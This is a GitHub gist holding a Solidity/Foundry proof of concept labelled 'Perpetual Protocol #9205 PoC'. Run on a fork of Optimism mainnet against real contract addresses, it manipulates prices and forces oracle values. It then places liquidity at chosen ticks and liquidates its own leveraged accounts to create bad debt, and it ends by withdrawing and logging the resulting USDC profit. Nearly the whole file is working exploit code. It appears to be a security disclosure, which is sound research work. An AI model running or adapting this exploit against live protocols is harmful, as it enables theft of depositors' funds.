-
-
Save this-is-chainlight/684e8e988c0f76cbf208e7d1dbbf2adb to your computer and use it in GitHub Desktop.
Perpetual Protocol #9205 PoC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: UNLICENSED | |
// forge test --fork-url https://mainnet.optimism.io --fork-block-number 15786920 --chain-id 10 --etherscan-api-key YourApiKeyToken -vvv | |
pragma solidity ^0.8.13; | |
pragma abicoder v2; | |
import "forge-std/Test.sol"; | |
interface IERC20 { | |
function totalSupply() external view returns (uint256); | |
function decimals() external view returns (uint256); | |
function balanceOf(address account) external view returns (uint256); | |
function transfer(address recipient, uint256 amount) external returns (bool); | |
function allowance(address owner, address spender) external view returns (uint256); | |
function approve(address spender, uint256 amount) external returns (bool); | |
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); | |
} | |
interface IVault { | |
function deposit(address token, uint256 amount) external; | |
function depositFor(address to, address token, uint256 amount) external; | |
function withdraw(address token, uint256 amount) external; | |
function getFreeCollateralByToken(address trader, address token) external view returns (uint256); | |
} | |
interface IAccountBalance { | |
function getTakerOpenNotional(address trader, address baseToken) external view returns (int256); | |
function getTakerPositionSize(address trader, address baseToken) external view returns (int256); | |
} | |
interface IClearingHouse { | |
struct AddLiquidityParams { | |
address baseToken; | |
uint256 base; | |
uint256 quote; | |
int24 lowerTick; | |
int24 upperTick; | |
uint256 minBase; | |
uint256 minQuote; | |
bool useTakerBalance; | |
uint256 deadline; | |
} | |
struct AddLiquidityResponse { | |
uint256 base; | |
uint256 quote; | |
uint256 fee; | |
uint256 liquidity; | |
} | |
function addLiquidity(AddLiquidityParams calldata params) external returns (AddLiquidityResponse memory); | |
struct RemoveLiquidityParams { | |
address baseToken; | |
int24 lowerTick; | |
int24 upperTick; | |
uint128 liquidity; | |
uint256 minBase; | |
uint256 minQuote; | |
uint256 deadline; | |
} | |
struct RemoveLiquidityResponse { | |
uint256 base; | |
uint256 quote; | |
uint256 fee; | |
} | |
function removeLiquidity(RemoveLiquidityParams calldata params) external returns (RemoveLiquidityResponse memory); | |
struct OpenPositionParams { | |
address baseToken; | |
bool isBaseToQuote; | |
bool isExactInput; | |
uint256 amount; | |
uint256 oppositeAmountBound; | |
uint256 deadline; | |
uint160 sqrtPriceLimitX96; | |
bytes32 referralCode; | |
} | |
function openPosition(OpenPositionParams memory params) external returns (uint256 base, uint256 quote); | |
struct ClosePositionParams { | |
address baseToken; | |
uint160 sqrtPriceLimitX96; | |
uint256 oppositeAmountBound; | |
uint256 deadline; | |
bytes32 referralCode; | |
} | |
function closePosition(ClosePositionParams calldata params) external returns (uint256 base, uint256 quote); | |
function settleAllFunding(address trader) external; | |
function getAccountValue(address trader) external returns (int256); | |
function liquidate(address trader, address baseToken) external; | |
} | |
interface IOrderBook { | |
struct Info { | |
uint128 liquidity; | |
int24 lowerTick; | |
int24 upperTick; | |
uint256 lastFeeGrowthInsideX128; | |
int256 lastTwPremiumGrowthInsideX96; | |
int256 lastTwPremiumGrowthBelowX96; | |
int256 lastTwPremiumDivBySqrtPriceGrowthInsideX96; | |
uint256 baseDebt; | |
uint256 quoteDebt; | |
} | |
function getOpenOrder(address trader, address baseToken, int24 lowerTick, int24 upperTick) external view returns (Info memory); | |
} | |
interface IClearingHouseConfig { | |
function getSettlementTokenBalanceCap() external view returns (uint256 settlementTokenBalanceCap); | |
} | |
interface IUniswapV3Pool { | |
function slot0() | |
external | |
view | |
returns ( | |
uint160 sqrtPriceX96, | |
int24 tick, | |
uint16 observationIndex, | |
uint16 observationCardinality, | |
uint16 observationCardinalityNext, | |
uint8 feeProtocol, | |
bool unlocked | |
); | |
struct TickInfo { | |
uint128 liquidityGross; | |
int128 liquidityNet; | |
uint256 feeGrowthOutside0X128; | |
uint256 feeGrowthOutside1X128; | |
int56 tickCumulativeOutside; | |
uint160 secondsPerLiquidityOutsideX128; | |
uint32 secondsOutside; | |
bool initialized; | |
} | |
function ticks(int24 tick) | |
external | |
view | |
returns ( | |
uint128 liquidityGross, | |
int128 liquidityNet, | |
uint256 feeGrowthOutside0X128, | |
uint256 feeGrowthOutside1X128, | |
int56 tickCumulativeOutside, | |
uint160 secondsPerLiquidityOutsideX128, | |
uint32 secondsOutside, | |
bool initialized | |
); | |
function tickBitmap(int16 wordPosition) external view returns (uint256); | |
} | |
interface IPriceFeedV2 { | |
function getPrice(uint256 interval) external view returns (uint256); | |
} | |
contract TestAccount1 {} | |
contract TestAccount2 {} | |
contract TestAccount3 {} | |
contract PriceMoveSimulationAccount {} | |
contract ContractTest is Test { | |
uint160 internal constant MIN_SQRT_RATIO = 4295128739; | |
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; | |
int24 internal constant MIN_TICK = -887272; | |
int24 internal constant MAX_TICK = -MIN_TICK; | |
int24 internal constant tickSpacing = 60; | |
function ts_floor(int24 tick) internal pure returns (int24) { | |
return tick + (tickSpacing - (tick % tickSpacing)); | |
} | |
function ts_ceil(int24 tick) internal pure returns (int24) { | |
return ts_floor(tick) - tickSpacing; | |
} | |
IERC20 usdc = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607); | |
uint256 usdcDecimals = (10 ** usdc.decimals()); | |
address v_flow = 0x7EAdA83e15AcD08d22ad85A1dCE92E5A257Acb92; | |
IUniswapV3Pool v_flow_pool = IUniswapV3Pool(0xD26ffdDE6c0DAaAbEB0a6806221c6b9fE7519bdf); | |
IAccountBalance ab = IAccountBalance(0xA7f3FC32043757039d5e13d790EE43edBcBa8b7c); | |
IClearingHouse ch = IClearingHouse(0x82ac2CE43e33683c58BE4cDc40975E73aA50f459); | |
IClearingHouseConfig chc = IClearingHouseConfig(0xA4c817a425D3443BAf610CA614c8B11688a288Fb); | |
IOrderBook ob = IOrderBook(0xDfcaEBe8f6ea5E022BeFAFaE8c6Cdae8D4E1094b); | |
IVault v = IVault(0xAD7b4C162707E0B2b5f6fdDbD3f8538A5fbA0d60); | |
address oracle = 0x19A4dEa5470b2d8E16d9f8D929C0b36fe44113B4; | |
address[3] accounts; | |
address priceMoveSimulationAccount = address(new PriceMoveSimulationAccount()); | |
int24 currentTick; | |
uint256 price; | |
function setUp() public { | |
accounts[0] = address(new TestAccount1()); | |
accounts[1] = address(new TestAccount2()); | |
accounts[2] = address(new TestAccount3()); | |
uint256 settlementTokenBalanceCap = chc.getSettlementTokenBalanceCap(); | |
uint256 vaultBalance = usdc.balanceOf(address(v)); | |
// give test contract some USDC | |
vm.store( | |
address(usdc), | |
0x187a2ad3b11081a3050671ee16cc42acca7475835edc3ec15a30507fff0991e9, | |
bytes32(uint256(settlementTokenBalanceCap)) | |
); | |
usdc.transfer(priceMoveSimulationAccount, 1000 * usdcDecimals); | |
usdc.transfer(accounts[1], 200000 * usdcDecimals); | |
uint256 n = settlementTokenBalanceCap - ( | |
vaultBalance + | |
usdc.balanceOf(priceMoveSimulationAccount) + | |
usdc.balanceOf(accounts[1]) | |
+ 1 | |
); | |
usdc.transfer(accounts[0], n/2); | |
usdc.transfer(accounts[2], n/2); | |
for (uint i = 0; i < accounts.length + 1; i++) { | |
address x; | |
if (i < accounts.length) | |
x = accounts[i]; | |
else | |
x = priceMoveSimulationAccount; | |
vm.startPrank(x); | |
usdc.approve(address(v), type(uint256).max); | |
v.deposit(address(usdc), usdc.balanceOf(x)); | |
vm.stopPrank(); | |
} | |
} | |
function setupLargePositions() internal { | |
emit log("\nsetupLargePositions()"); | |
uint256 amount2 = uint256(ch.getAccountValue(accounts[1])) * (0.99 ether / uint256(1000000000)) / price; | |
uint256 amount3 = uint256(ch.getAccountValue(accounts[2])) * (0.958 ether / uint256(1000000000)) / price; | |
// provide sell liquidity | |
int24 lowerTick = ts_floor(currentTick); | |
int24 upperTick = ts_floor(currentTick) + tickSpacing; | |
vm.startPrank(accounts[0]); | |
ch.addLiquidity( | |
IClearingHouse.AddLiquidityParams({ | |
baseToken: v_flow, | |
base: amount2 + amount3, | |
quote: 0, | |
lowerTick: lowerTick, | |
upperTick: upperTick, | |
minBase: 0, | |
minQuote: 0, | |
useTakerBalance: false, | |
deadline: type(uint256).max | |
}) | |
); | |
vm.stopPrank(); | |
// long | |
vm.startPrank(accounts[1]); | |
ch.openPosition( | |
IClearingHouse.OpenPositionParams({ | |
baseToken: v_flow, | |
isBaseToQuote: false, | |
isExactInput: false, | |
amount: amount2, | |
oppositeAmountBound: 0, | |
deadline: type(uint256).max, | |
sqrtPriceLimitX96: MAX_SQRT_RATIO - 1, | |
referralCode: bytes32(0) | |
}) | |
); | |
vm.stopPrank(); | |
( , currentTick, , , , , ) = v_flow_pool.slot0(); | |
emit log_named_int("tick", currentTick); | |
// long | |
vm.startPrank(accounts[2]); | |
ch.openPosition( | |
IClearingHouse.OpenPositionParams({ | |
baseToken: v_flow, | |
isBaseToQuote: false, | |
isExactInput: false, | |
amount: amount3, | |
oppositeAmountBound: 0, | |
deadline: type(uint256).max, | |
sqrtPriceLimitX96: MAX_SQRT_RATIO - 1, | |
referralCode: bytes32(0) | |
}) | |
); | |
vm.stopPrank(); | |
( , currentTick, , , , , ) = v_flow_pool.slot0(); | |
emit log_named_int("tick", currentTick); | |
// remove remaining liquidity | |
vm.startPrank(accounts[0]); | |
ch.removeLiquidity( | |
IClearingHouse.RemoveLiquidityParams({ | |
baseToken: v_flow, | |
lowerTick: lowerTick, | |
upperTick: upperTick, | |
liquidity: ob.getOpenOrder( | |
accounts[0], | |
v_flow, | |
lowerTick, | |
upperTick | |
).liquidity, | |
minBase: 0, | |
minQuote: 0, | |
deadline: type(uint256).max | |
}) | |
); | |
vm.stopPrank(); | |
} | |
function advanceBlockAndForceOracleOutput(uint256 _price) internal { | |
vm.roll(block.number + 1); | |
vm.warp(block.timestamp + 1); | |
// _cachedTwap = price | |
vm.store(oracle, bytes32(0x0000000000000000000000000000000000000000000000000000000000000301), bytes32(uint256(_price))); | |
// _lastUpdatedAt = block.timestamp | |
uint256 oracle_slot_x302 = uint256(vm.load(oracle, bytes32(0x0000000000000000000000000000000000000000000000000000000000000302))); | |
oracle_slot_x302 &= ~uint256(0xffffffffffffffffffffffffffffffff); | |
oracle_slot_x302 |= block.timestamp; | |
vm.store(oracle, bytes32(0x0000000000000000000000000000000000000000000000000000000000000302), bytes32(oracle_slot_x302)); | |
} | |
function simulatePriceMove() internal { | |
emit log("\nsimulatePriceMove()"); | |
uint256 ratio = 0.95 ether; | |
price = IPriceFeedV2(oracle).getPrice(900); | |
price = price * ratio / 1 ether; | |
int24 targetTick = int24(int256(uint256(int256(currentTick)) * ratio / 1 ether)); | |
emit log_named_int("targetTick", targetTick); | |
vm.startPrank(priceMoveSimulationAccount); | |
while (currentTick > targetTick) { | |
advanceBlockAndForceOracleOutput(price); | |
ch.openPosition( | |
IClearingHouse.OpenPositionParams({ | |
baseToken: v_flow, | |
isBaseToQuote: true, | |
isExactInput: false, | |
amount: 1000 ether, | |
oppositeAmountBound: 0, | |
deadline: type(uint256).max, | |
sqrtPriceLimitX96: MIN_SQRT_RATIO + 1, | |
referralCode: bytes32(0) | |
}) | |
); | |
( , currentTick, , , , , ) = v_flow_pool.slot0(); | |
emit log_named_int("tick", currentTick); | |
} | |
vm.stopPrank(); | |
advanceBlockAndForceOracleOutput(price); | |
price = IPriceFeedV2(oracle).getPrice(900); | |
emit log_named_uint("oraclePrice", price); | |
} | |
int24 manipulatePriceLimitForNextBlockLowerTick; | |
int24 manipulatePriceLimitForNextBlockUpperTick; | |
function manipulatePriceLimitForNextBlock() internal { | |
emit log("\nmanipulatePriceLimitForNextBlock()"); | |
vm.startPrank(accounts[0]); | |
// provide buy liquidity at carefully selected price | |
( , currentTick, , , , , ) = v_flow_pool.slot0(); | |
manipulatePriceLimitForNextBlockLowerTick = ts_ceil(currentTick - 750) - tickSpacing; | |
manipulatePriceLimitForNextBlockUpperTick = ts_ceil(currentTick - 750); | |
ch.addLiquidity( | |
IClearingHouse.AddLiquidityParams({ | |
baseToken: v_flow, | |
base: 0, | |
quote: uint256(-ab.getTakerOpenNotional(accounts[1], v_flow)), | |
lowerTick: manipulatePriceLimitForNextBlockLowerTick, | |
upperTick: manipulatePriceLimitForNextBlockUpperTick, | |
minBase: 0, | |
minQuote: 0, | |
useTakerBalance: false, | |
deadline: type(uint256).max | |
}) | |
); | |
// dump | |
ch.liquidate(accounts[1], v_flow); | |
( , currentTick, , , , , ) = v_flow_pool.slot0(); | |
emit log_named_int("tick after partial liquidation of account 2", currentTick); | |
vm.stopPrank(); | |
advanceBlockAndForceOracleOutput(price); | |
} | |
int24 triggerLiqudationFeeBadDebtLowerTick; | |
int24 triggerLiqudationFeeBadDebtUpperTick; | |
function triggerLiqudationFeeBadDebt() internal { | |
emit log("\ntriggerLiqudationFeeBadDebt()"); | |
vm.startPrank(accounts[0]); | |
// cleanup previous stage (remove remaining liquidity) | |
ch.removeLiquidity( | |
IClearingHouse.RemoveLiquidityParams({ | |
baseToken: v_flow, | |
lowerTick: manipulatePriceLimitForNextBlockLowerTick, | |
upperTick: manipulatePriceLimitForNextBlockUpperTick, | |
liquidity: ob.getOpenOrder( | |
accounts[0], | |
v_flow, | |
manipulatePriceLimitForNextBlockLowerTick, | |
manipulatePriceLimitForNextBlockUpperTick | |
).liquidity, | |
minBase: 0, | |
minQuote: 0, | |
deadline: type(uint256).max | |
}) | |
); | |
// provide buy liquidity | |
( , currentTick, , , , , ) = v_flow_pool.slot0(); | |
triggerLiqudationFeeBadDebtLowerTick = ts_ceil(currentTick) - tickSpacing; | |
triggerLiqudationFeeBadDebtUpperTick = ts_ceil(currentTick); | |
ch.addLiquidity( | |
IClearingHouse.AddLiquidityParams({ | |
baseToken: v_flow, | |
base: 0, | |
quote: uint256(-ab.getTakerOpenNotional(accounts[2], v_flow)), | |
lowerTick: triggerLiqudationFeeBadDebtLowerTick, | |
upperTick: triggerLiqudationFeeBadDebtUpperTick, | |
minBase: 0, | |
minQuote: 0, | |
useTakerBalance: false, | |
deadline: type(uint256).max | |
}) | |
); | |
// dump and cause bad debt | |
ch.liquidate(accounts[2], v_flow); | |
// remove remaining liquidity | |
ch.removeLiquidity( | |
IClearingHouse.RemoveLiquidityParams({ | |
baseToken: v_flow, | |
lowerTick: triggerLiqudationFeeBadDebtLowerTick, | |
upperTick: triggerLiqudationFeeBadDebtUpperTick, | |
liquidity: ob.getOpenOrder( | |
accounts[0], | |
v_flow, | |
triggerLiqudationFeeBadDebtLowerTick, | |
triggerLiqudationFeeBadDebtUpperTick | |
).liquidity, | |
minBase: 0, | |
minQuote: 0, | |
deadline: type(uint256).max | |
}) | |
); | |
vm.stopPrank(); | |
( , currentTick, , , , , ) = v_flow_pool.slot0(); | |
emit log_named_int("tick after full liquidation of account 3", currentTick); | |
} | |
function closeOutRemainingPositions() internal { | |
emit log("\ncloseOutRemainingPositions()"); | |
vm.startPrank(accounts[0]); | |
// provide buy liquidity | |
( , currentTick, , , , , ) = v_flow_pool.slot0(); | |
int24 lowerTick = ts_ceil(currentTick) - tickSpacing; | |
int24 upperTick = ts_ceil(currentTick); | |
ch.addLiquidity( | |
IClearingHouse.AddLiquidityParams({ | |
baseToken: v_flow, | |
base: 0, | |
quote: uint256(-ab.getTakerOpenNotional(accounts[1], v_flow)), | |
lowerTick: lowerTick, | |
upperTick: upperTick, | |
minBase: 0, | |
minQuote: 0, | |
useTakerBalance: false, | |
deadline: type(uint256).max | |
}) | |
); | |
// expected account value after liquidate == 1 | |
uint256 usdcAmountToResolveBadDebt = 15509030657 + 1; | |
v.withdraw(address(usdc), usdcAmountToResolveBadDebt); | |
v.depositFor(accounts[1], address(usdc), usdcAmountToResolveBadDebt); | |
// dump and cause another bad debt | |
ch.liquidate(accounts[1], v_flow); | |
ch.closePosition( | |
IClearingHouse.ClosePositionParams({ | |
baseToken: v_flow, | |
sqrtPriceLimitX96: MAX_SQRT_RATIO - 1, | |
oppositeAmountBound: 0, | |
deadline: type(uint256).max, | |
referralCode: bytes32(0) | |
}) | |
); | |
ch.removeLiquidity( | |
IClearingHouse.RemoveLiquidityParams({ | |
baseToken: v_flow, | |
lowerTick: lowerTick, | |
upperTick: upperTick, | |
liquidity: ob.getOpenOrder( | |
accounts[0], | |
v_flow, | |
lowerTick, | |
upperTick | |
).liquidity, | |
minBase: 0, | |
minQuote: 0, | |
deadline: type(uint256).max | |
}) | |
); | |
ch.settleAllFunding(accounts[0]); | |
vm.stopPrank(); | |
} | |
function getAccountValues() internal returns (int256[] memory, uint256) { | |
int256[] memory accountValues = new int256[](accounts.length); | |
uint256 accountValueTotal = 0; | |
for (uint i = 0; i < accounts.length; i++) { | |
accountValues[i] = ch.getAccountValue(accounts[i]); | |
if (accountValues[i] > 0) { | |
accountValueTotal += uint256(accountValues[i]); | |
} | |
} | |
return (accountValues, accountValueTotal); | |
} | |
function test() public { | |
(int256[] memory initialAccountValues, uint256 initialAccountValueTotal) = getAccountValues(); | |
emit log_named_int("initial accountValue (1)", initialAccountValues[0]); | |
emit log_named_int("initial accountValue (2)", initialAccountValues[1]); | |
emit log_named_int("initial accountValue (3)", initialAccountValues[2]); | |
emit log_named_uint("initial accountValue (total)", initialAccountValueTotal); | |
emit log_named_decimal_uint("initial accountValue (total in USDC)", initialAccountValueTotal / 1000000000000, usdc.decimals()); | |
( , currentTick, , , , , ) = v_flow_pool.slot0(); | |
emit log_named_int("currentTick", currentTick); | |
price = IPriceFeedV2(oracle).getPrice(900); | |
emit log_named_uint("oraclePrice", price); | |
setupLargePositions(); | |
simulatePriceMove(); | |
manipulatePriceLimitForNextBlock(); | |
triggerLiqudationFeeBadDebt(); | |
(int256[] memory accountValuesAfterBadDebtAttack, uint256 accountValuesTotalAfterBadDebtAttack) = getAccountValues(); | |
emit log_named_int("accountValue (1)", accountValuesAfterBadDebtAttack[0]); | |
emit log_named_int("accountValue (2)", accountValuesAfterBadDebtAttack[1]); | |
emit log_named_int("accountValue (3)", accountValuesAfterBadDebtAttack[2]); | |
emit log_named_uint("accountValue (total)", accountValuesTotalAfterBadDebtAttack); | |
closeOutRemainingPositions(); | |
(int256[] memory finalAccountValues, uint256 finalAccountValueTotal) = getAccountValues(); | |
emit log_named_int("final accountValue (1)", finalAccountValues[0]); | |
emit log_named_int("final accountValue (2)", finalAccountValues[1]); | |
emit log_named_int("final accountValue (3)", finalAccountValues[2]); | |
emit log_named_uint("final accountValue (total, negative values excluded)", finalAccountValueTotal); | |
emit log_named_decimal_uint("final accountValue (total in USDC, negative values excluded)", finalAccountValueTotal / 1000000000000, usdc.decimals()); | |
// withdraw max available | |
uint256 freeCollateral = v.getFreeCollateralByToken(accounts[0], address(usdc)); | |
emit log_named_decimal_uint("account 1 free collateral (USDC)", freeCollateral, usdc.decimals()); | |
vm.startPrank(accounts[0]); | |
v.withdraw(address(usdc), freeCollateral); | |
vm.stopPrank(); | |
uint256 profit = (usdc.balanceOf(accounts[0]) - initialAccountValueTotal / 1000000000000); | |
emit log_named_decimal_uint("profit (USDC)", profit, usdc.decimals()); | |
emit log("OK"); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment